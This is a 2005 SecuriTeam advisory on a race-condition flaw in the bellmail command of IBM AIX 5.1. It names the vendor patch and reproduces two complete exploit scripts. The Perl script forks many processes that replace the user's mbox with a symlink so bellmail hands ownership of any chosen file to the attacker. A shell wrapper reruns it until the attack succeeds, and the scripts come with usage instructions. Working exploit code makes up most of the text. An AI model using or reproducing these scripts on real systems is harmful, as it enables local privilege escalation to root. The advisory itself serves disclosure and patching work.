[EXPL] Bellmail Race Condition Vulnerability (Exploits)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/19/05

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Date: 19 May 2005 16:38:04 +0200

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      Bellmail Race Condition Vulnerability (Exploits)
    ------------------------------------------------------------------------

    SUMMARY

    Bellmail "is the original AT&T UNIX mail command, which handles mail for
    users on the same system and also for users on remote systems that can be
    accessed by means of Basic Network Utilities (BNU), sometimes known as the
    UNIX-to-UNIX Copy Program (UUCP). "

    A race condition vulnerability was found at Bellmail command that allow
    attackers to run a shell as root.

    DETAILS

    Vulnerable Systems:
     * IBM AIX version 5.1

    Vendor Status:
    The vendor has released a patch to fix the vulnerability named IY25661.

    Exploit 1:
    #!/usr/bin/perl
    # FileName: x_aix5_bellmail.pl
    # Exploit "Race condition vulnerability (BUGTRAQ ID: 8805)" of
    /usr/bin/bellmail
    # command on Aix5 to change any file owner to current user.
    #
    #Usage : x_aix5_bellmail.pl aim_file
    # aim_file : then file wich you want to chown to you.
    # Note : Maybe you should run more than one to "Race condition".
    # The file named "x_bell.sh" can help you to use this exp.
    # You should type "w" "Enter" then "q" "Enter" key on keyboard
    # as fast as you can when bellmail prompt "?" appear.
    #
    # Author : watercloud@xfocus.org
    # XFOCUS Team
    # http://www.xfocus.net (CN)
    # http://www.xfocus.org (EN)
    # http://xcon.xfocus.org (XCon's Home)
    #
    # Date : 2004-6-6
    # Tested : on Aix5.1.
    # Addition: IBM had offered a patch named "IY25661" for it.
    # Announce: use as your owner risk!

    $CMD="/usr/bin/bellmail";
    $MBOX="$ENV{HOME}/mbox";
    $TMPFILE="/tmp/.xbellm.tmp";

    $AIM_FILE = shift @ARGV ;
    $FORK_NUM = 1000;

    die "AIM FILE \"$AIM_FILE\" not exist.\n" if ! -e $AIM_FILE;

    unlink $MBOX;
    system "echo abc > $TMPFILE";
    system "$CMD $ENV{LOGIN} < $TMPFILE";
    unlink $TMPFILE;

    $ret=`ls -l $AIM_FILE"`;
    print "Before: $ret";

    if( fork()==0 )
    {
            &deamon($FORK_NUM);
            exit 0 ;
    }
    sleep( (rand()*100)%4);
    exec $CMD;

    $ret=`ls -l $AIM_FILE"`;
    print "Now: $ret";

    sub deamon {
            $num = shift || 1;
            for($i=0;$i<$num;$i++) {
                    &do_real() if fork()==0;
            }
    }
    sub do_real {
            if(-e $MBOX) {
                    unlink $MBOX ;
                    symlink "$AIM_FILE",$MBOX;
            }
            exit 0;
    }
    #EOF

    Exploit 2:
    #!/bin/sh
    #File:x_bellmail.sh
    #The assistant of x_aix5_bellmail.pl
    #Author : watercloud@xfocus.org
    #Date :2004-6-6
    #

    X_BELL_PL="./x_aix5_bellmail.pl"
    AIM=$1

    if [ $# ne 1 ] ;then
            echo "Need a aim file name as argv."
            exit 1;
    fi

    if [ ! -e "$1" ];then
            echo "$1 not exist!"
            exit 1
    fi
    if [ ! -x "$X_BELL_PL" ];then
            echo "can not exec $X_BELL_PL"
            exit 1
    fi

    ret=`ls -l $AIM`
    echo $ret; echo
    fuser=`echo $ret |awk '{print $3}'`
    while [ "$fuser" != "$LOGIN" ]
    do
            $X_BELL_PL $AIM
            ret=`ls -l $AIM`
            echo $ret;echo
            fuser=`echo $ret |awk '{print $3}'`
    done
    echo $ret; echo
    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:watercloud@xfocus.org>
    watercloud.
    The original exploits can be found at:
    <http://www.xfocus.org/exploits/200505/36.html>
    http://www.xfocus.org/exploits/200505/36.html

    ========================================

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